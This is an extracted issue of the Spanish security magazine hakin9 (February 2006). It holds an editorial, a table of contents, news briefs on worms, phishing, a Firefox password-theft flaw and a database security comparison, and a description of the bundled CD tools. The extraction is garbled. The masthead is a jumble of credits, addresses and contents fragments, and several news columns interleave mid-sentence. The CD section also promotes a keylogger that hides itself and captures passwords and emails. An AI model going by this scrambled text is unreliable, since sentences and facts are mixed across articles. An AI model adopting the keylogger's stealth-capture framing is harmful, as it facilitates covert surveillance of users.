hakin9

Bienvenidos en febrero...
Esta vez no ha tocado esperar mucho para el próximo número de hakin9. A partir de enero hakin9 es un mensual y espero que ya os hayáis acostumbrado a esta nueva periodicidad y que disfrutéis de la revista aún más. Este número aparecerá en vuestras manos acompañado por dos CDs para traeros cada vez más materiales interesantes. En el CD1 encontraréis hakin9live, que ya conocéis muy bien y que, estoy segura, tampoco os decepcionará. Con este mismo disco os entregamos también algunos regalos: ¿a qué me refiero? A las cinco aplicaciones comerciales, que os ayudarán a proteger vuestro ordenador y ajustarlo a vuestras necesidades individuales. Espero que todas: Powered Keylogger, VIP Defense VIP Privacy, LANState, NetIntercept 3.2 Software Demo y System Tweaker os sirvan bien. El CD2 contiene la segunda parte del curso, cuyo objetivo es presentar la información básica requerida durante los exámenes certificados Cisco CCNA. A partir de este número podemos enorgullecernos de la colaboración con los representantes de varias empresas del sector TI, que aportaron a la revista con los artículos de la más alta calidad. Nos han honrado con su participación activa en la creación del contenido de la revista tales empresas como Ecija Soluciones, Ártica Soluciones Tecnológicas y I-SEC Information Security con las cuales esperamos seguir colaborando también en el futuro. Si hablamos de las empresas habría que mencionar también el Club PRO, una opción de suscripción creada especialmente con la idea de ofrecer a las empresas la posibilidad de llegar con su mensaje al público más amplio. A todos que todavía no conocen esta nuestra oferta os animo a analizarla, ya que ¡pueden sacar un buen provecho de la colaboración con hakin9! Al volver a la presentación del contenido de hakin9 de febrero, quería recomendaros otra sección nueva de la revista: los tests de consumidores. En este número nos concentramos en los tests de firewalls y hemos publicado las opiniones más interesantes de los que han decidido participar en ellos y a los que me gustaría en este lugar agradecer. Espero que los tests encuentren su lugar fijo en las páginas de hakin9 y que os ayuden a la hora de tomar ciertas decisiones. Sin embargo, no habrá buenos tests sin el aporte de vosotros, queridos lectores, por lo tanto no os olvidéis de compartir vuestras observaciones y experiencias respecto a los productos que vamos a testear y cuya lista encontraréis en la página web de hakin9. Entre los artículos más interesantes de este número hay que mencionar: Ataques CSRF: Ataques de falsificación de peticiones, en el que aprenderéis en que consiste un ataque CSRF, conoceréis diferentes tipos de ataque y la mejor protección contra ellos. En Hardening de sistemas en entornos corporativos leeréis sobre diferentes técnicas sobre securización de sistemas y la mejor manera de llevarlas a cabo. Si os interesa el tema de la tecnología de indentificación por radiofrecuencias, os invito a leer el artículo RFID-Otro round entre la funcionalidad y la seguridad. Son apenas algunas de las propuestas...y aquí os dejo, deseándoos una buena lectura y esperando encontraros el mes que viene... Anna Marcinkiewicz

En breve

06

Resaltamos las noticias más importantes del mundo de la seguridad de sistemas informáticos.

Contenido de CD
CD 1 hakin9.live
Comentamos el contenido y el funcionamiento de nuestra distribución hakin9.live.

10

CD 2 Curso CCNA
Describimos el contenido del CD2.

14

Herramientas
Patriot
Gonzalo Asensio Asensio

16

Patriot: herramienta capaz de monitorizar el comportamiento de nuestro sistema.

Open Source Security Information Management 18
Francisco Jesús Gómez Rodríguez

OSSIM es una herramienta de monitorización de eventos de seguridad en redes.

Ataque
Ataques CSRF: Ataques de falsificación de peticiones
Emilio Casbas

20

Cross site Reference (XSRF) es una clase de ataque que afecta a las aplicaciones web.

Los Ataques DDoS
Jaime Gutierrez, Mateu Llull

24

Los ataques de denegación en la administración de sistemas.

Función de sobrescritura usando ptrace() 30
Stefan Klaas

Diferentes procesos de las técnicas de inyección que incluyen ptrace().

4

www.hakin9.org

producto de la empresa G Data Software Sp. España La Redacción se ha esforzado para que el material publicado en la revista y en el CD que la acompaña funcione correctamente.o.Bokserska 1.o.com. ul. la cadena de confianza se alarga. Sin embargo. no se responsabiliza de los posibles problemas que puedan surgir.pl Traducción: Mariusz Muszak. Alvaro Cuesta Publicidad: adv@software.o.com.marcinkiewicz@software. Producción: Marta Kurpiewska marta@software. s. por cualquier medio o procedimiento. 225 08750 Molins de Rei (Barcelona).pl Distribución: Monika Godlewska monikag@software. Polonia Tfno: +48 22 887 10 10. Fax: +48 22 887 10 11 www.hakin9.pl Redactora adjunta: Anna Marcinkiewicz anna. Jose M. Para principiantes RFID – Otro round entre la funcionalidad y la seguridad Ezequiel Martin Sallis 68 RFID y lucha eterna del equilibrio entre la seguridad y la funcionalidad.hakin9.está editado por Software-Wydawnictwo Sp. 78 La revista hakin9 es editada en 7 idiomas: ES PL FR CZ DE EN IT Hablamos con Sancho Lerena. 02-682 Varsovia.com.pl Preparación del CD: Rafał Kwaśny (Aurox Core Team) Composición: Sławomir Zadrożny slawekz@software. z o.pl Si estás interesado en comprar la licencia para editar nuestras revistas contáctanos: Monika Godlewska e-mail: monikag@software. Małgorzata Janerka. Avd. Rolando Fuentes Corrección: Jesús Alvárez Rodrígez.com. Raúl Nanclares.chauca@software. expresa y por escrito del editor. Juan Gamez Betatesters: Juan Pérez Moya. z o.org hakin9 Nr 2/2006 5 .com. es la tarea de ajustar la seguridad de estos sistemas. ¡El uso de las técnicas presentadas puede provocar la pérdida de datos! Próximo número 82 Avance de los artículos que se encontrarán en la siguiente edición de nuestra revista.pl tel.pl Suscripción: suscripcion@software. Tests de consumidores En este número os presentamos los tests de firewalls. García Alias. Advertencia ¡Las técnicas presentadas en los artículos se pueden usar SÓLO para realizar los tests de sus propias redes de ordenadores! La Redacción no responde del uso inadecuado de las técnicas descritas. Luis Peralta Nieto. Insalación y configuración de OpenVPN Red Privada Virtual sobre SSL 50 César Jiménez Zapata Las VPN permiten extender cualquier red local a través de una red no segura utilizando para ello encriptación en los datos transmitidos. 74 La Redacción usa el sistema de composición automática Los diagramas han sido elaborados con el programa de la empresa El CD incluido en la revista ha sido comprobado con el programa AntiVirenKit. sin para ello contar con la autorización previa. katarzyna.pl Diseño portada: Agnieszka Marchocka Las personas interesadas en cooperación rogamos se contacten: cooperation@software. Barcelona.: +48 22 887 12 66 fax: +48 22 887 10 11 Imprenta: 101 Studio. Jose Luis Herrera.com.. Todas las marcas comerciales mencionadas en la revista son propiedad de las empresas correspondientes y han sido usadas únicamente con fines informativos. z o. www. Entrevista Cuánta más complejidad tecnológica. ¡Advertencia! Queda prohibida la reproducción total o parcial de esta publicación periódica. Firma Tęgi Distribuye: coedis.com.pl Redactora jefe: Katarzyna Chauca.l.com.org hakin9 Defensa Violación y Aplicación de Políticas de Seguridad con IDS y Firewall 32 Arrigo Triulzi. Hardening de sistemas en entornos corporativos Sancho Lerena 58 Una de las primeras tareas a realizar cuando hay que implementar seguridad en cualquier red de sistemas heterogéneos.com. Antonio Merola Un Sistema de Detección de Intrusiones en Redes (NIDS) como herramienta de verificación y como herramienta para la aplicación de la política de seguridad.. Dirección: Software-Wydawnictwo Sp. Director Técnico de Ártica Soluciones Tecnológicas.

propagándose mediante mensajeros instantáneos. Primero fue identificado como un gusano común. Presidente de la ACM. el avanzado centro de datos de Digital Parks en L'Hospitalet de Llobregat y un amplio abanico de soluciones de seguridad informática.org . logrando mayor coordinación en otros aspectos conforme van evolucionando. dice el rotativo y agrega que Ricoh tiene planes de desarrollar junto a Hitachi Software otro tipo de programas para incrementar la seguridad en las oficinas. SOHANAD pero ha crecido al grado de convertirse en una familia que recluta otros componentes. Estas deficiencias también afectan a la seguridad informática de los datos que gestionan los ayuntamientos sobre los ciudadanos. Presencia en Internet y servicios telemáticos. hasta convertirse en un poderoso conjunto de códigos maliciosos.Las administraciones locales de Catalunya podrán mejorar la gestión informática y asegurar el cumplimiento de la Ley Orgánica de Protección de Datos (LOPD) y la Ley de Servicios de la Sociedad de la Información (LSSI) gracias al convenio establecido entre Digital Parks y la Asociación Catalana de Municipios (ACM). fabricantes o distribuidores. presencia en Internet y externalización tecnológica.hakin9. 6 www. dice la información. El objetivo de ventas es de 200 unidades en tres años. penas el 30% de los municipios catalanes ha adecuado sus bases de datos a la LOPD y el 50% ni siquiera cuenta con página web Barcelona.111 dólares). Las primeras variantes del SOHANAD tenían como objetivo la población usuaria de ordenadores de Vietnam. • • Mejora de los servicios informáticos y de telecomunicaciones mediante la externalización. para acercar la administración local a los ciudadanos ofreciendo páginas web más amigables. con correo electrónico seguro. sin embargo.7% cumple la LOPD y sólo un 16% permite a los ciudadanos realizar gestiones vía Internet. informa la prensa local. Este convenio es otro ejemplo del compromiso de Digital Parks de colaborar con todos los niveles de los sectores públicos y privados para mejorar la gestión y la seguridad informática en nuestro país. interactivas y seguras que cumplan con normativas como la reciente Ley de Accesibilidad para las Administraciones Públicas. • El cumplimiento estricto de la LOPD y el tratamiento adecuado de los datos y sistemas informáticos en las administraciones locales es frecuentemente difícil si se quiere hacer de forma interna. y ha crecido en términos del número de programas de mensajería instantánea que emplea. 24 de Octubre de 2006 . monitorización de redes y sistemas y consultoría de seguridad. La información recabada quedará grabada en los documentos. Digital Parks ofrece productos y servicios que permiten a nuestros asociados dar una respuesta a estas necesidades con total independencia frente a los operadores. A Crean una impresora que registra la identidad del usuario en los documentos Las empresas japonesas Ricoh y Hitachi Software Engineering han desarrollado un sistema que registrará las venas de los dedos de un usuario en los documentos impresos con el fin de prevenir la filtración de información. protección de datos. utilizando servicios de copias de seguridad. desde un nacimiento tímido. evitando costosas inversiones a las administraciones locales. encriptación de las comunicaciones y asesoría tecnológica. El nuevo dispositivo requiere que después de ordenar la impresión el usuario se identifique poniendo su dedo en un lector integrado en la impresora. según el diario económico Nihon Keizai. equipos y personal que muchas veces no son económicamente asumibles. aunque exista una firme voluntad de llevarlas a cabo. han cedido en enfoque geográfico. El nuevo sistema tendrá una capacidad de almacenar información de unas 100 personas y costará 15 millones de yenes (127. asegura Robert de Dalmases. La digitalización de la administración local catalana es manifiestamente mejorable: el 50% de los municipios no tiene página web. si no de voluntad y flexibilidad para encontrar una solución personalizada para cada necesidad. apenas un 30. gracias a la cual se podrá rastrear la identidad de la persona que imprimió un documento. ya que exige inversiones en instalaciones. Las variantes más recientes. manifiesta Joan Maria Roig y Grau. Cumplimiento de la Ley de Servicios de la Sociedad de la Información. Digital Parks ofrecerá asesoramiento y condiciones preferentes a los municipios. El acuerdo pone a disposición de los entes locales. a través de la ACM.Breves Ha crecido la familia de gusanos para la mensajería instantánea WORM_SOHANAD DigitalParks y la ACM impulsan la seguridad informática en la administración catalana La familia de gusanos para mensajería instantánea WORM_ SOHANAD ha crecido. consejos comarcales y otros entes locales catalanes integrados en la ACM en aspectos como: • Cumplimiento de la Ley Orgánica de Protección de Datos. administrador de Digital Parks. El acuerdo se suma a otras iniciativas que hemos impulsado con organismos como Fomento del Trabajo o el COPCA que ponen de manifiesto que modernizar la gestión TIC no es una cuestión de dinero. en un método de colaboración dónde cada quien juega un papel que contribuye al resultado final del ataque.

el cierre de la cuenta corriente. como el bloqueo de la tarjeta de crédito. víctima de un virus • • • • • Este domingo el mundo en tercera dimensión Second Life fue atacado por el virus Grey Goo. Y por último. Si recibes un correo electrónico o un llamado de este tipo. pero que sin embargo corresponde a una página web falsa. como las claves o números de tarjetas de crédito. pero no son personalizados con el nombre y apellido del receptor. ya que generalmente estos mensajes provienen del extranjero. todos los usuarios tienen autorización handleservantnotification en Z/Os. el que consiste en intentar adquirir información confidencial. Otra señal que te puede alertar. La segunda vulnerabilidad afecta durante el registro de operaciones de respuesta. haciendo creer a la persona que los datos son solicitados por la empresa de la tarjeta de crédito o incluso por el mismo banco. Esto es el denominado Phishing. Los usuarios de tarjetas de crédito deben ser cuidadosos al momento de manejar el uso de sus plásticos y estar alertas al recibir cualquier solicitud de información confidencial de parte de cualquier persona o institución. te pedirán que accedas a algún link. El primero de los problemas se debe aun error off-by-one (*) en mod_ rewrite incluido en el tratamiento de esquemas ldap que puede ser empleado para provocar un desbordamiento de bufer.5 millones de usuarios. Este tipo de mensajes suele hacer un llamado urgente a entregar los datos para evitar una situación importante. Este mensaje busca que el receptor entregue la información sin medir las consecuencias ni pensar en que se puede tratar de un engaño. El juego es utilizado por más de 1. En el sitio Web se pueden comprar y vender terrenos virtuales y objetos con dinero real. Grey Goo reprodujo anillos dorados que giraban alrededor de todo el sitio de juegos virtuales. provocando que los servidores de la compañía Linden Lab. Se recomienda en general: • Nunca entregues información de tus claves. Second Life es un mundo virtual habitado por personajes o avatares que representan a personas reales. números de tarjetas. entre otros. Para que entregues los datos. es la circulación de una serie de correos electrónicos que intentan que los receptores accedan a un sitio web o que a través del mismo correo entreguen sus datos personales o claves referidas a las tarjetas de crédito. número de cuenta o tarjeta de crédito o alguna clave. o comprometer sistemas vulnerables.hakin9. Generalmente se dirigen al receptor del mensaje como Estimado cliente o alguna frase similar. • La web de la comunidad Second Life. creciendo aproximadamente un 38 por ciento cada mes. un programa informático que se instala en la memoria de la computadora y se duplica a sí mismo. Incluso si el correo incluye infor- Encuentran diversas vulnerabilidades en IBM WebSphere Application Server mación e imágenes corporativas. Una de las instancias en que los consumidores pueden estar expuestos al robo de su información confidencial. por defecto.News Seguridad en Internet con tarjetas de crédito R ecomendaciones de Visa Internacional en lo que respecta a la seguridad en las terjetas de crédito. de cuentas corrientes o de cualquier otro producto de uso personal y confidencial. Se han anunciado varias vulnerabilidades en IBM WebSphere Application Server 6.org 7 . la actualización urgente de datos. En este tipo de engaño. avisa de inmediato a tu banco emisor. y puede sentirse confiado de entregar la información secreta. llenes un formulario o abras algún archivo adjunto. no confíes en él. los receptores del correo son instados a ingresar a un sitio web que simula pertenecer a alguna institución o empresa de confianza. estuvieran más lentos. según la firma. Visa International entrega a sus clientes toda la tecnología de un sistema de pago seguro. que pueden ser explotadas por usuarios maliciosos con diversos impactos como evitar restricciones de seguridad. es que el mensaje contenga faltas de ortografía o problemas de redacción. Generalmente el usuario no detecta esto. El sitio tuvo que cerrar su página por un corto tiempo hasta que se pudo eliminar el código malicioso. como tu RUT. www. creadora del juego Second Life. Visa International y sus bancos miembros nunca te solicitarán información de ningún tipo ni por correo electrónico ni por teléfono. Los delincuentes son capaces de replicar este tipo de elementos. Se utiliza un copybot que puede ser utilizado para hacer réplicas de los objetos virtuales de las personas sin necesidad de pagar derechos de propiedad intelectual. se ha comprobado que. ya que las comprobaciones de autenticación Eal4 no se realizan como una de las primeras acciones. Este tipo de correos tiene una serie de características que te ayudarán a identificarlos: • Siempre te solicitarán algún dato personal.1.

ofreciéndoles mayor control sobre lo que se clasifica y como se clasifica. el sistema analiza el mapa social entre el destinatario y el receptor del email. La tecnología antispam es igualmente aplicable y eficaz con respecto a los ataques de virus. Si la dirección no es la de una entidad reconocida y autorizada. Strato ha desarrollado una tecnología de protección que consigue eliminar la incidencia de spam.90 de este estándar. basados en el bloqueo de emails que llevan en el asunto determinadas palabras y en el número de veces que se envía un email. el sistema se entrena a sí mismo para aprender a detectar el spam y es capaz de perfeccionar sus barreras preventivas.html – Nota de prensa publicada por Google anunciando su adopción por parte de los tres grandes. un protocolo que facilita a los diseñadores y programadores de páginas web que sus creaciones entren dentro de las bases de datos de los motores de búsqueda. de forma que en la bandeja de entrada del usuario entren únicamente todos y cada uno de los correos deseados sin que ninguno de éstos resulte clasificado erróneamente como spam. virus y phishing prácticamente en el 100% de los casos. etc. el phishing o los virus. además de evitar la clasificación errónea de falsos positivos de spam. Los tres principales buscadores de Internet. Desde noviembre 2006. contamos con una estupenda guía en el mismo sitio web de Sitemaps. El estándar Sitemaps consiste en una forma de identificar en un website aquellas páginas que queremos que sean indizadas en los motores de búsqueda.90. la probabilidad de que ambos estén unidos por una relación plausible como la que une a cliente y proveedor. Esto se hace básicamente mediante la inclusión de un fichero en formato XML en el que se listan las URL's de las páginas que queremos indizar. Google. En caso de que la relación entre receptor y destinatario sea inverosímil. Más información: http://www. en Protocol – Sitemaps XML format: http://www. Sobre la base del elevado volumen de comunicaciones de Internet que gestiona Strato (más de 15 millones de emails al día en una jornada tipo). Strato ha cambiado radicalmente la estrategia tradicional de lucha contra el spam. El correo no deseado sigue colándose masivamente en las bandejas de entrada de nuestros emails y. a compañeros de trabajo. la tecnología de Strato aplica algoritmos matemáticos que incorporan dos nuevas variables desarrolladas por expertos en Inteligencia Artificial.sitemaps. y según afirman los tres grandes de Internet. Yahoo! y MSN de Microsoft. el mensaje es reconocido como spam y retirado de la circulación. Igualmente bloquea los intentos de phising monitorizando las URLs o direcciones de Internet a las que fraudulentamente se intenta remitir a los destinatarios de phishing. El margen de error es de 1-2 probabilidades en cada millón. phishing y spam) Google. entrando en la base de datos dichas referencias.hakin9.html Desde el punto de vista del usuario. de forma que el robot de clasificación del motor de búsqueda (crawler) lee dicho fichero y guarda referencias a las páginas que allí se le dicen. La segunda técnica de Inteligencia Artifical que se aplica a la protección antispam. Tras dos años de investigación en colaboración con la Universidad Humboldt de Berlín. Microsoft y Yahoo! acuerdan ofrecer soporte para Sitemaps 0. lo que aún es más grave. El elevado volumen de spam pone de manifiesto que los tradicionales sistema anti-spam no están consiguiendo atajar el problema. El análisis del mapa social se realiza de forma anónima. Para saber como hay que crear y rellenar el fichero XML de definición de las páginas a clasificar.Breves Los tres principales motores de búsqueda en Internet se ponen de acuerdo para facilitar la indexación de sitios web Inteligencia Artificial y Seguridad (virus. 8 www. L a Universidad Humboldt y Strato desarrollan nuevas técnicas de Inteligencia Artificial que resuelven la incidencia del spam. hay mensajes que sin ser spam son clasificados incorrectamente como tales. la adopción de Sitemaps significará que los resultados de las búsquedas realizadas en cualquiera de los tres motores serán más correctos y detallados.org/ – Website oficial para el protocolo Sitemaps http://www. sin violar la identidad de los usuarios ni la confidencialidad del contenido de las comunicaciones y con un altísimo nivel de acierto. esta nueva tecnología antispam se centra ante todo en el correo deseado. Strato incorpora una nueva tecnología basada en la investigación científica sobre Inteligencia Artificial que protege a sus clientes frente a amenazas maliciosas como el spam.com/press/ pressrel/sitemapsorg. lo que significa que a partir de ahora se les simplifica la tarea a los diseñadores de websites para que ordenen las páginas que van a entrar en la base de datos del motor de búsqueda. es decir. el mensaje es automáticamente retirado de la circulación sin permitir que sea entregado al destinatario. La novedad de esta tecnología reside en la aplicación de técnicas de Inteligencia Artificial. En lugar de poner el énfasis en el correo no deseado. han acordado ofrecer soporte para la versión 0. lo que obliga al usuario a revisar regularmente su carpeta de spam para cerciorarse de que no pierde ningún email valioso. Más allá de los filtros STA Statistical Token Analysis y DCC Distributed Checks and Clearinghouse que suelen utilizar las tecnologías antispam al uso. el email es autorizado y entregado a su destinatario. antivirus y antiphising de Strato está basada en la Teoría de Juegos.org/ protocol. En primer lugar. Cerca del 80% del volumen de emails que gestiona Strato en sus servidores en toda Europa es spam. Alternativamente.google. Una vez hecha esta comprobación. el phishing y los virus.org . el método clásico es que el robot de clasificación examine el código fuente en busca de enlaces a otras páginas del website.sitemaps.

se siente con la autoridad suficiente como para que sus resultados no sean refutados. si se busca seguridad. sufren todos más vulnerabilidades que el producto de Microsoft (versión 2005). no del servidor) de Microsoft. tropezando una y otra vez en la misma piedra. Para él. Al parecer en un primer momento fue infectado un correo electrónico de un miembro del equipo el cual lo reenvió a la lista de distribución de Google automáticamente. que la base de datos Microsoft SQL Server es mucho más segura que Oracle. Si bien la versión 7 de Microsoft sufrió numerosos problemas de seguridad. ya notaron su ventaja con respecto a la seguridad y realizaron su propio estudio. desde entonces han disminuido drásticamente hasta la versión 2005. Casi todos • sus problemas de seguridad afectan a todas las plataformas.F a traves de una lista de distribución gestionada con Yahoo Groups. 2000 y 2005 durante los últimos años. hay varios investigadores intentando encontrar fallos en el servidor SQL 2005 de Microsoft. El autor..000 personas. Mientras. teniendo como víctimas a usuarios de MySpace. Esto no distorsiona los datos. donde se siente especialmente "cómodo").. y lo que es peor. Mediante una falsa página de login (que Firefox rellena automáticamente con los datos reales de acceso del usuario si éste decidió guardarlos en el navegador.. Microsoft SQL Server es más seguro El robo de contraseñas mediante Firefox puede haber sido explotado D avid Litchfield. los usuarios son redirigidos a su página real. sino que avala la robustez en un producto bien conseguido (además de una importante deficiencia en Oracle ya apuntada en otros boletines) que bien merece ser mencionada.com). comparan las vulnerabilidades listadas en CVE (Common vulnerabilities and Exposures) de Oracle.hakin9. de las cuales se desconoce el número exacto de de correos afectados ya que no todas reciben mensajes de correo. pero tras sufrir el robo de sus datos de acceso. 9 y 10) contra Microsoft SQL Server 7. Oracle no parece tan malo por ser multiplataforma. etc. Ha publicado un informe que según él. todavía no se le ha encontrado ninguna desde que fue lanzado hace más de un año. Ante la gravedad de esta situación y el conocimiento de su explotación activa (extremos ambos de los que el descubridor del bug alertó a Mozilla hace diez días). Litchfield no tiene relación con Microsoft. Por ejemplo no se han incluido vulnerabilidades de Application Server o Intelligent Agent de Oracle ni MDAC (que se considera parte de Windows. Litchfield achaca estos resultados de forma determinante al Security Development Lifecycle que desarrolla Microsoft para su producto. no en su gravedad) reportados por investigadores externos y solucionados por el fabricante. Por tanto. Ahora nuevamente el equipo de Google Video ha distribuido por error el gusano w32/kapser. En Microsoft. Como experto y descubridor de la mayoría de los fallos de Oracle que se muestran. Litchfield además. De hecho. y adelanta que a Oracle todavía le quedan al menos 49 por corregir y no están incluidos en las estadísticas del informe. los problemas de seguridad en Oracle han crecido de forma desproporcionada. El documento estudia la seguridad de Microsoft SQL Server y Oracle basándose en fallos (sólo en su cantidad. consciente de que a pesar de lo objetivo de los números las pruebas pueden levantar suspicacias. Sus resultados son también esclarecedores. en el propio foro de discusión sobre este bug de Mozilla ya hay quienes piden(de momento sin éxito) que se informe a los usuarios de Firefox sobre este peligro en la mismísima página principal de Mozilla y en la de descargas de Firefox. aportando su extensa experiencia. Sí. En una entrada en un blog oficial titulado 1 Year And Not Yet Counting. seguido de MySql e IBM.News Litchfield: Comparado con Oracle.A mediante una lista de distribución gestionada por Google Groups. con lo que el atacante puede acceder a sus datos personales. Y su código es más seguro. si bien esa cuenta parece actualmente deshabilitada. Basta observar el fuente de la falsa página de login para descubrir que ésta también envía los datos de acceso a un servidor francés.. Se agradecen este tipo de informes que abordan la seguridad desde un punto de vista fuera de misticismos y prejuicios. Según responsables de Google a está lista están suscritas 50. Oracle. reputado investigador de seguridad (especializado en bases de datos) demuestra. no es sólo una típica comparación sobre quién es menos inseguro en una discusión basada en opiniones y gustos. MySql e IBM Database contra SQL Server 2005. de forma que aprende de sus errores mientras que Oracle parece no tener nada de esto. no deja lugar a dudas. www. La vulnerabilidad en el gestor de contraseñas de Firefox de que hablamos aquí hace un par de días pudo haber sido explotada ya hace un mes. puesto que la falsa página de ingreso es una página personal que pertenece también al dominio myspace. ni siquiera parecen entender los problemas que están intentando resolver. muestra en las gráficas sólo fallos públicos y solucionados. y sin mediar ningún aviso ni pregunta. Sólo se han incluido problemas que afectan a la propia base de datos. la elección está clara. que comparan los productos bandera de Oracle (Database 8. Google distribuye un gusano a través de su lista de correo En agosto de 2003 google distribuyó el gusano Sobig. El documento ofrece unas gráficas muy claras. que no sufre ninguno.org 9 . se adelanta a las posibles controversias que surgirán a partir de su informe y responde por adelantado algunas cuestiones: • No.. obviamente. de hecho ha encontrado muchas vulnerabilidades en casi todos sus productos (aunque bastantes más en Oracle. Es tan simple como que no los encuentran.

Construimos la versión 3.live.live (h9l) en la versión 3. haciendo imposible que el programa sea localizado.2 – aur – distribución bootable de Aurox que incluye útiles herramientas. la diferente localización de los archivos de configuración u opciones necesarias para ejecutar la aplicación en el entorno dado.live.live Contenido del CD1 E • • • n el disco que acompaña a la revista se encuentra hakin9. Tutoriales y documentación La documentación está compuesta de.org . Suponemos que el usuario emplea hakin9. tutoriales y material adicional de los artículos. documentación. tut – tutoriales. Konsole 10 www.1. Powered Keylogger es un programa profesional de auditoría de seguridad (versión de 6 meses) que permite monitorear todas las actividades de un ordenador. Características: • • • • • • • • • • Graba las actividades de las aplicaciones.hakin9. Después de ejecutar el sistema podemos registrarnos como usuario hakin9 sin introducir contraseña.1. Los informes también se mantienen escondidos. haciendo que a los delincuentes no les queda Figura 1. teclas pulsadas.hakin9. Monitorea todas las actividades en Internet. Graba todos los clicks del ratón del ordenador. Vigilancia visual de las actividades en el escritorio (con capturas de pantalla). Las herramientas no accesibles desde el CD se instalan desde el repositorio de Aurox con el programa yum. hakin9live. Para empezar el trabajo con hakin9. Gracias a ello evitaremos los problemas relacionados con las diferentes versiones de los compiladores. etc. Administración de reportes. hakin9live. entre otros. Fácil configuración.2 – aur h9l en base a la distribución de Aurox 12. tutoriales tipo SWF. programas necesarios. es suficiente ejecutar el ordenador desde el CD. art – material complementario a los artículos: scripts. Konqueror Figura 2. en cambio. Graba todas las contraseñas.0 y de los scripts de generación automatica (www. Absolutamente invisible. esta estructura está accesible desde el subdirectorio /mnt/cdrom. Después de instalar en el disco se puede emplear el comando yum para instalar programas adicionales. correos electrónicos entrantes y salientes. En caso de explorar el disco desde el nivel de arranque de hakin9.org/pl/live). uso de Internet. los nuevos – en los directorios principales según la estructura mencionada. aplicaciones. Especialmente para nuestros Lectores CD1 contiene aplicaciones comerciales: Powered Keylogger Los materiales antiguos se encuentran en los subdirectorios_arch. VIP Defense VIP Privacy VIP Defense VIP Privacy – te protege del potencial riesgo.aurox. incluso aquellas archivadas. Captura todos los correos electrónicos enviados y recibidos. contraseñas. El programa se ejecuta en modo invisible. tutoriales preparados por la redacción que incluyen ejercicios prácticos de los artículos.live. Graba todas las teclas presionadas. En h9l encontraremos un programa de instalación (Aurox Live Instaler). El material adicional se encuentra en los siguientes directorios: docs – documentación en formato HTML. en el nivel kernel más bajo del sistema operativo.

El programa muestra la cartografía de tu red y permite verificar en tiempo real el estado de los servidores y ordenadores remotos: • Crea automáticamente una cartografía de red escaneando el entorno de red de Windows o un conjunto de direcciones IP. Permite gestionar las conexiones a tus fuentes compartidas y recibir notificaciones cuando alguien se conecta (soporte de logs. etc.hakin9. los servicios NT. Figura 3. notificaciones sonoras y listas negras). y el manejo de ésos. Permite enviar mensajes a los usuarios del dominio gracias a una mensajería integrada eficaz. acceder al registro a distancia. Permite gestionar las conexiones a tus fuentes compartidas y recibir notificaciones cuando alguien se conecta (soporte de logs. VIP Privacy permite a los usuarios buscar y seguramente limpiar toda la información almacenada dentro de tu sistema y de las aplicaciones instaladas. 10-Strike Software Figura 4. A continuación. Permite acceder a y administrar ordenadores remotos en sólo unos clics gracias a la cartografía de red creada automáticamente por LANState. y mucho más. Es muy fácil de utilizar. como el escáner de red. Contiene numerosas herramientas prácticas para los administradores. permitiendo así acceder muy rápidamente a recursos y propiedades de los servidores remotos y recuperar una gran cantidad de datos de éstos. Facilita la administración de los procesos sin importar el tamaño de la red gracias a la posibilidad de asociar al programa aplicaciones externas.live nada por robar. una señal sonora o un e-mail en caso de problema de red.hakin9. LANState crea automáticamente por ejemplo la cartografía de la red. de ninguna forma. hacer listas de los procesos. name lookup. LANState permite de igual modo verificar el estado de tu red en todo momento. De este modo podrás apagar y reiniciar los equipos y servidores remotos. el precio de la solución es el mismo. que aceleró tener acceso a los anfitriones alejados a características y a recursos. Vip Defense Privacy reconoce más de 700 aplicaciones y unos miles de faltas del sistema que guardan tus datos personales y que pueden ser empleadas por los delincuentes. Da igual si administras 10 ó 500 equipos. Página oficial de NetIntercept www. ping. No requiere la instalación de un cliente en los servidores u ordenadores remotos. Esto. por lo que siempre tienes el control completo de la situación. Precio de la solución independiente del tamaño de la red. 10-Strike LANState es una solución de administración que permite gestionar una red Microsoft Windows de manera muy fácil gracias a un gran número de funciones muy prácticas. LANState.org 11 . notificaciones sonoras y listas negras). El proceso de búsqueda y eliminación es completamente ajustable a las necesidades individuales. Permite enviar mensajes a los usuarios del dominio gracias a una mensajería integrada eficaz. acceder a las fuentes y servicios remotos. elimina tus archivos privados ni cambia el contenido de los documentos de usuario. • • • LANState • LANState genera el mapa de la red. como gestionadotes de archivos o herramientas de administración a distancia. El empleo de LANState hace esencialmente más fácil administrar y supervisar procesos en las redes de cualesquiera gama o tamaño. Vip Privacy te ofrecerá una detallada descripción de cada falta de privacidad encontrada en tu sistema. visualizar los informes de sucesos. Notificación automática mediante un mensaje en la pantalla. El programa también incluye un número de características útiles para obtener la información sobre los ordenadores alejados. los equipos. rastro de ruta. puedes guardar • • • • • • • esta cartografía. el escáner de puerto. imprimirla o exportarla a un archivo bitmap.

Captura tráfico de red (el paquete completo. a la ficha Views (para consultar información referente al equipo. Este software de demostración esta limitado al análisis de 50 Megabytes de datos por base de datos. se recomienda ir a la ficha Summary (para ver la totalidad de la información de la base de datos). Powered Keylogger de Eltima NetIntercept NetIntercept es una aplicación de monitorización. Por favor. System Tweaker permite tanto a los usuarios avanzados como a los inexpertos hacer su sistema más rápido. envíe un correo electrónico a sales@sandstorm. imágenes y otros archivos que se transfieren por la red. System Tweaker System Tweaker – es una aplicación que permite modificar la configuración del software a fin de optimizar el sistema del ordenador.hakin9. 2000 y XP.net/products/quote. podrá abrir la base de datos de ejemplo incluida en la instalación y utilizar el programa para realizar análisis y generar informes en dicha base de datos. Cuando instale NetIntercept. páginas web. Con System Tweaker puedes: • • • • • tomar control de tu sistema con hasta un mil tweaks diferentes. las bases de datos están limitadas a 500 conexiones. imágenes capturadas y páginas web). Para adquirir una versión completa de NetIntercept. por favor contacte con Sandstorm Enterprises en el teléfono +1 781-333-3200.org .live Figura 5. hacer tu sistema Windows más seguro. Adicionalmente. Página oficial de Vip Defense 12 www. incremantar la eficiencia del sistema. consulte el archivo README y el paseo de demostración por la aplicación que se encuentran en la raíz del directorio de instalación. Tenga en cuenta que el manual que se instala con la versión de demostración del programa corresponde al manual de la versión completa del producto. l Figura 6. El programa NetIntercept que se proporciona en CD-ROM es una versión de demostración. esta sujeto a los límites establecidos en el acuerdo de licencia de usuario final que se muestra durante el proceso de instalación. navegar de una manera simple y rápida a través de tu Windows y los ajustes del sistema. el programa no soporta captura de tráfico de red en tiempo real y ciertas funciones se encuentran deshabilitadas en esta versión de demostración.net o realice un pedido en http://sandstorm. Este programa que se ejecuta en sistemas Windows NT. Agrupando todos los importantes ajustes del sistema en una fácil de navegar interfaz de usuario te permite ajustar el sistema a tus necesidades individuales. no solo las 